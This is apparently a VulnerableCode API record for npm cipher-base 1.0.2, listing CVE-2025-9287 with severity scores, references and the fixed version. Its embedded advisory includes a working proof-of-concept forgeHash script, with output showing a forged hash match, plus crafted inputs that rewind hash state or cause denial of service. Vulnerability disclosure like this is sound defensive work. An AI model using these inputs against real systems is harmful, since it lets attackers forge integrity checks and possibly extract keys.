Lookup for vulnerable packages by Package URL.

GET /api/packages/793459?format=api
HTTP 200 OK
Allow: GET, HEAD, OPTIONS
Content-Type: application/json
Vary: Accept

{
    "url": "http://public2.vulnerablecode.io/api/packages/793459?format=api",
    "purl": "pkg:npm/cipher-base@1.0.2",
    "type": "npm",
    "namespace": "",
    "name": "cipher-base",
    "version": "1.0.2",
    "qualifiers": {},
    "subpath": "",
    "is_vulnerable": true,
    "next_non_vulnerable_version": "1.0.5",
    "latest_non_vulnerable_version": "1.0.5",
    "affected_by_vulnerabilities": [
        {
            "url": "http://public2.vulnerablecode.io/api/vulnerabilities/28130?format=api",
            "vulnerability_id": "VCID-tt31-4d54-k7cz",
            "summary": "cipher-base is missing type checks, leading to hash rewind and passing on crafted data\n### Summary\n\nThis affects e.g. `create-hash` (and `crypto-browserify`), so I'll describe the issue against that package\nAlso affects `create-hmac` and other packages\n\nNode.js `createHash` works only on strings or instances of Buffer, TypedArray, or DataView.\n\nMissing input type checks (in npm `create-hash` polyfill of Node.js `createHash`) can allow types other than a well-formed `Buffer` or `string`, resulting in invalid values, hanging and rewinding the hash state (including turning a tagged hash into an untagged hash), or other generally undefined behaviour.\n\n### Details\n\nSee PoC\n\n### PoC\n```js\nconst createHash = require('create-hash/browser.js')\nconst { randomBytes } = require('crypto')\n\nconst sha256 = (...messages) => {\n  const hash = createHash('sha256')\n  messages.forEach((m) => hash.update(m))\n  return hash.digest('hex')\n}\n\nconst validMessage = [randomBytes(32), randomBytes(32), randomBytes(32)] // whatever\n\nconst payload = forgeHash(Buffer.concat(validMessage), 'Hashed input means safe')\nconst receivedMessage = JSON.parse(payload) // e.g. over network, whatever\n\nconsole.log(sha256(...validMessage))\nconsole.log(sha256(...receivedMessage))\nconsole.log(receivedMessage[0])\n```\n\nOutput:\n```\n9ef59a6a745990b09bbf1d99abe43a4308b48ce365935e29eb4c9000984ee9a9\n9ef59a6a745990b09bbf1d99abe43a4308b48ce365935e29eb4c9000984ee9a9\nHashed input means safe\n```\n\nThis works with:\n```js\nconst forgeHash = (valid, wanted) => JSON.stringify([wanted, { length: -wanted.length }, { ...valid, length: valid.length }])\n```\n\nBut there are other types of input which lead to unchecked results\n\n### Impact\n\n1. Hash state rewind on `{length: -x}`. This is behind the PoC above, also this way an attacker can turn a tagged hash in cryptographic libraries into an untagged hash.\n2. Value miscalculation, e.g. a collision is generated by `{ length: buf.length, ...buf, 0: buf[0] + 256 }`\n    This will result in the same hash as of `buf`, but can be treated by other code differently (e.g. bn.js)\n4. DoS on `{length:'1e99'}`\n5. On a subsequent system, (2) can turn into matching hashes but different numeric representations, leading to issues up to private key extraction from cryptography libraries (as nonce is often generated through a hash, and matching nonces for different values often immediately leads to private key restoration, like [GHSA-vjh7-7g9h-fjfh](https://github.com/indutny/elliptic/security/advisories/GHSA-vjh7-7g9h-fjfh))\n6. Also, other typed arrays results are invalid, e.g. returned hash of `new Uint16Array(5)` is the same as `new Uint8Array(5)`, not `new Uint16Array(10)` as it should have been (and is in Node.js `crypto`) -- same for arrays with values non-zero, their hashes are just truncated to `%256` instead of converted to correct bytelength",
            "references": [
                {
                    "reference_url": "https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2025-9287.json",
                    "reference_id": "",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "7.5",
                            "scoring_system": "cvssv3",
                            "scoring_elements": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:N/I:H/A:L"
                        }
                    ],
                    "url": "https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2025-9287.json"
                },
                {
                    "reference_url": "https://api.first.org/data/v1/epss?cve=CVE-2025-9287",
                    "reference_id": "",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "0.00106",
                            "scoring_system": "epss",
                            "scoring_elements": "0.2875",
                            "published_at": "2026-04-02T12:55:00Z"
                        },
                        {
                            "value": "0.00106",
                            "scoring_system": "epss",
                            "scoring_elements": "0.2867",
                            "published_at": "2026-04-08T12:55:00Z"
                        },
                        {
                            "value": "0.00106",
                            "scoring_system": "epss",
                            "scoring_elements": "0.28605",
                            "published_at": "2026-04-07T12:55:00Z"
                        },
                        {
                            "value": "0.00106",
                            "scoring_system": "epss",
                            "scoring_elements": "0.28798",
                            "published_at": "2026-04-04T12:55:00Z"
                        },
                        {
                            "value": "0.00106",
                            "scoring_system": "epss",
                            "scoring_elements": "0.28449",
                            "published_at": "2026-04-24T12:55:00Z"
                        },
                        {
                            "value": "0.00106",
                            "scoring_system": "epss",
                            "scoring_elements": "0.28565",
                            "published_at": "2026-04-21T12:55:00Z"
                        },
                        {
                            "value": "0.00106",
                            "scoring_system": "epss",
                            "scoring_elements": "0.28615",
                            "published_at": "2026-04-18T12:55:00Z"
                        },
                        {
                            "value": "0.00106",
                            "scoring_system": "epss",
                            "scoring_elements": "0.2864",
                            "published_at": "2026-04-16T12:55:00Z"
                        },
                        {
                            "value": "0.00106",
                            "scoring_system": "epss",
                            "scoring_elements": "0.2862",
                            "published_at": "2026-04-13T12:55:00Z"
                        },
                        {
                            "value": "0.00106",
                            "scoring_system": "epss",
                            "scoring_elements": "0.28668",
                            "published_at": "2026-04-12T12:55:00Z"
                        },
                        {
                            "value": "0.00106",
                            "scoring_system": "epss",
                            "scoring_elements": "0.28713",
                            "published_at": "2026-04-11T12:55:00Z"
                        },
                        {
                            "value": "0.00106",
                            "scoring_system": "epss",
                            "scoring_elements": "0.28711",
                            "published_at": "2026-04-09T12:55:00Z"
                        },
                        {
                            "value": "0.00116",
                            "scoring_system": "epss",
                            "scoring_elements": "0.29928",
                            "published_at": "2026-04-29T12:55:00Z"
                        },
                        {
                            "value": "0.00116",
                            "scoring_system": "epss",
                            "scoring_elements": "0.30006",
                            "published_at": "2026-04-26T12:55:00Z"
                        },
                        {
                            "value": "0.00116",
                            "scoring_system": "epss",
                            "scoring_elements": "0.29793",
                            "published_at": "2026-05-05T12:55:00Z"
                        }
                    ],
                    "url": "https://api.first.org/data/v1/epss?cve=CVE-2025-9287"
                },
                {
                    "reference_url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-9287",
                    "reference_id": "",
                    "reference_type": "",
                    "scores": [],
                    "url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-9287"
                },
                {
                    "reference_url": "https://ftp.suse.com/pub/projects/security/yaml/suse-cvss-scores.yaml",
                    "reference_id": "",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "9",
                            "scoring_system": "cvssv3.1",
                            "scoring_elements": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H"
                        }
                    ],
                    "url": "https://ftp.suse.com/pub/projects/security/yaml/suse-cvss-scores.yaml"
                },
                {
                    "reference_url": "https://github.com/browserify/cipher-base",
                    "reference_id": "",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "9.1",
                            "scoring_system": "cvssv3.1",
                            "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H"
                        },
                        {
                            "value": "9.1",
                            "scoring_system": "cvssv4",
                            "scoring_elements": "CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:N/VI:H/VA:H/SC:H/SI:H/SA:N"
                        },
                        {
                            "value": "CRITICAL",
                            "scoring_system": "generic_textual",
                            "scoring_elements": ""
                        }
                    ],
                    "url": "https://github.com/browserify/cipher-base"
                },
                {
                    "reference_url": "https://github.com/browserify/cipher-base/commit/8fd136432ca298a664f5637629cf2b42a6c7f294",
                    "reference_id": "",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "9.1",
                            "scoring_system": "cvssv3.1",
                            "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H"
                        },
                        {
                            "value": "9.1",
                            "scoring_system": "cvssv4",
                            "scoring_elements": "CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:N/VI:H/VA:H/SC:H/SI:H/SA:N"
                        },
                        {
                            "value": "CRITICAL",
                            "scoring_system": "generic_textual",
                            "scoring_elements": ""
                        }
                    ],
                    "url": "https://github.com/browserify/cipher-base/commit/8fd136432ca298a664f5637629cf2b42a6c7f294"
                },
                {
                    "reference_url": "https://github.com/browserify/cipher-base/pull/23",
                    "reference_id": "",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "9.1",
                            "scoring_system": "cvssv3.1",
                            "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H"
                        },
                        {
                            "value": "9.1",
                            "scoring_system": "cvssv4",
                            "scoring_elements": "CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:N/VI:H/VA:H/SC:H/SI:H/SA:N"
                        },
                        {
                            "value": "CRITICAL",
                            "scoring_system": "generic_textual",
                            "scoring_elements": ""
                        },
                        {
                            "value": "Track",
                            "scoring_system": "ssvc",
                            "scoring_elements": "SSVCv2/E:P/A:N/T:P/P:M/B:A/M:M/D:T/2025-08-21T13:25:49Z/"
                        }
                    ],
                    "url": "https://github.com/browserify/cipher-base/pull/23"
                },
                {
                    "reference_url": "https://github.com/browserify/cipher-base/security/advisories/GHSA-cpq7-6gpm-g9rc",
                    "reference_id": "",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "9.1",
                            "scoring_system": "cvssv3.1",
                            "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H"
                        },
                        {
                            "value": "CRITICAL",
                            "scoring_system": "cvssv3.1_qr",
                            "scoring_elements": ""
                        },
                        {
                            "value": "9.1",
                            "scoring_system": "cvssv4",
                            "scoring_elements": "CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:N/VI:H/VA:H/SC:H/SI:H/SA:N"
                        },
                        {
                            "value": "CRITICAL",
                            "scoring_system": "generic_textual",
                            "scoring_elements": ""
                        },
                        {
                            "value": "Track",
                            "scoring_system": "ssvc",
                            "scoring_elements": "SSVCv2/E:P/A:N/T:P/P:M/B:A/M:M/D:T/2025-08-21T13:25:49Z/"
                        }
                    ],
                    "url": "https://github.com/browserify/cipher-base/security/advisories/GHSA-cpq7-6gpm-g9rc"
                },
                {
                    "reference_url": "https://lists.debian.org/debian-lts-announce/2025/09/msg00005.html",
                    "reference_id": "",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "9.1",
                            "scoring_system": "cvssv3.1",
                            "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H"
                        },
                        {
                            "value": "9.1",
                            "scoring_system": "cvssv4",
                            "scoring_elements": "CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:N/VI:H/VA:H/SC:H/SI:H/SA:N"
                        },
                        {
                            "value": "CRITICAL",
                            "scoring_system": "generic_textual",
                            "scoring_elements": ""
                        }
                    ],
                    "url": "https://lists.debian.org/debian-lts-announce/2025/09/msg00005.html"
                },
                {
                    "reference_url": "https://nvd.nist.gov/vuln/detail/CVE-2025-9287",
                    "reference_id": "",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "9.1",
                            "scoring_system": "cvssv3.1",
                            "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H"
                        },
                        {
                            "value": "9.1",
                            "scoring_system": "cvssv4",
                            "scoring_elements": "CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:N/VI:H/VA:H/SC:H/SI:H/SA:N"
                        },
                        {
                            "value": "CRITICAL",
                            "scoring_system": "generic_textual",
                            "scoring_elements": ""
                        }
                    ],
                    "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-9287"
                },
                {
                    "reference_url": "https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1111772",
                    "reference_id": "1111772",
                    "reference_type": "",
                    "scores": [],
                    "url": "https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1111772"
                },
                {
                    "reference_url": "https://bugzilla.redhat.com/show_bug.cgi?id=2389932",
                    "reference_id": "2389932",
                    "reference_type": "",
                    "scores": [],
                    "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2389932"
                },
                {
                    "reference_url": "https://github.com/advisories/GHSA-cpq7-6gpm-g9rc",
                    "reference_id": "GHSA-cpq7-6gpm-g9rc",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "CRITICAL",
                            "scoring_system": "cvssv3.1_qr",
                            "scoring_elements": ""
                        }
                    ],
                    "url": "https://github.com/advisories/GHSA-cpq7-6gpm-g9rc"
                },
                {
                    "reference_url": "https://access.redhat.com/errata/RHSA-2025:14767",
                    "reference_id": "RHSA-2025:14767",
                    "reference_type": "",
                    "scores": [],
                    "url": "https://access.redhat.com/errata/RHSA-2025:14767"
                },
                {
                    "reference_url": "https://access.redhat.com/errata/RHSA-2025:15847",
                    "reference_id": "RHSA-2025:15847",
                    "reference_type": "",
                    "scores": [],
                    "url": "https://access.redhat.com/errata/RHSA-2025:15847"
                },
                {
                    "reference_url": "https://access.redhat.com/errata/RHSA-2025:16020",
                    "reference_id": "RHSA-2025:16020",
                    "reference_type": "",
                    "scores": [],
                    "url": "https://access.redhat.com/errata/RHSA-2025:16020"
                },
                {
                    "reference_url": "https://access.redhat.com/errata/RHSA-2025:18278",
                    "reference_id": "RHSA-2025:18278",
                    "reference_type": "",
                    "scores": [],
                    "url": "https://access.redhat.com/errata/RHSA-2025:18278"
                },
                {
                    "reference_url": "https://access.redhat.com/errata/RHSA-2025:18744",
                    "reference_id": "RHSA-2025:18744",
                    "reference_type": "",
                    "scores": [],
                    "url": "https://access.redhat.com/errata/RHSA-2025:18744"
                },
                {
                    "reference_url": "https://access.redhat.com/errata/RHSA-2025:22905",
                    "reference_id": "RHSA-2025:22905",
                    "reference_type": "",
                    "scores": [],
                    "url": "https://access.redhat.com/errata/RHSA-2025:22905"
                },
                {
                    "reference_url": "https://access.redhat.com/errata/RHSA-2026:3710",
                    "reference_id": "RHSA-2026:3710",
                    "reference_type": "",
                    "scores": [],
                    "url": "https://access.redhat.com/errata/RHSA-2026:3710"
                },
                {
                    "reference_url": "https://access.redhat.com/errata/RHSA-2026:3712",
                    "reference_id": "RHSA-2026:3712",
                    "reference_type": "",
                    "scores": [],
                    "url": "https://access.redhat.com/errata/RHSA-2026:3712"
                },
                {
                    "reference_url": "https://usn.ubuntu.com/7746-1/",
                    "reference_id": "USN-7746-1",
                    "reference_type": "",
                    "scores": [],
                    "url": "https://usn.ubuntu.com/7746-1/"
                }
            ],
            "fixed_packages": [
                {
                    "url": "http://public2.vulnerablecode.io/api/packages/69807?format=api",
                    "purl": "pkg:npm/cipher-base@1.0.5",
                    "is_vulnerable": false,
                    "affected_by_vulnerabilities": [],
                    "resource_url": "http://public2.vulnerablecode.io/packages/pkg:npm/cipher-base@1.0.5"
                }
            ],
            "aliases": [
                "CVE-2025-9287",
                "GHSA-cpq7-6gpm-g9rc"
            ],
            "risk_score": 4.5,
            "exploitability": "0.5",
            "weighted_severity": "9.0",
            "resource_url": "http://public2.vulnerablecode.io/vulnerabilities/VCID-tt31-4d54-k7cz"
        }
    ],
    "fixing_vulnerabilities": [],
    "risk_score": "4.5",
    "resource_url": "http://public2.vulnerablecode.io/packages/pkg:npm/cipher-base@1.0.2"
}